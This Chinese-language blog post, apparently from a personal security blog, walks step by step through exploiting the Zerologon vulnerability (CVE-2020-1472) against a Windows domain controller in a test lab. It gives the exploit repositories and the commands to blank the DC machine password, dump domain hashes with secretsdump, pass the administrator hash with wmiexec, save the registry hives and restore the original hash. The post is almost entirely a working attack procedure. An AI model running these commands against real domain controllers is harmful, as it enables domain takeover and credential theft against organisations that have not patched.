CVE-2020-1472 域内提权漏洞
0x00 前序环境
验证poc
1 | https://github.com/SecuraBV/CVE-2020-1472 |
打空exp
1 | https://github.com/risksense/zerologon |
impacket包
1 | https://github.com/SecureAuthCorp/impacket |
impacket包下载后在其目录下执行
1 | python setup.py install |
测试环境 Windows Server 2008 ip 192.168.10.10 name DC
0x01 测试是否可以打空本地Hash
1 | python .\zerologon_tester.py DC_NAME DC_IP |
检测到以下结果,本地Hash可以被打空
0x02 利用zerologon把本地Hash打空
1 | python .\set_empty_pw.py DC_NAME DC_IP |
出现如下结果,本地Hash已被打空
0x03 使用空密码拽出DC上的Hash
利用impacket包中examples目录下的secretsdump.py
1 | python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC_NAME$@IP1.IP2.DOMAIN/DC_NAME$@DC_IP' |
可以观察到DC本地的Hash已经被置为空了。
0x04 利用得到的管理员Hash传递过去
利用impacket包中examples目录下的wmiexec.py
1 | python wmiexec.py -hashes Admin_HASH Domain/Administrator@DC_IP |
0x05 获取原本地Hash
受害机命令行下运行以下命令,将原hash的保留文件下载到攻击机
1 | reg save HKLM\SYSTEM system.save |
利用secretsdump.py 进行原hash读取
1 | python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL |
0x06 还原受害者本地Hash
6.1 利用zerologon工具,将Hash还原
1 | python reinstall_original_pw.py DC_NAME DC_IP DC_HASH |
6.2 验证一下Hash是不是被塞回去了
Hash已经被还原。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Perng's Blog!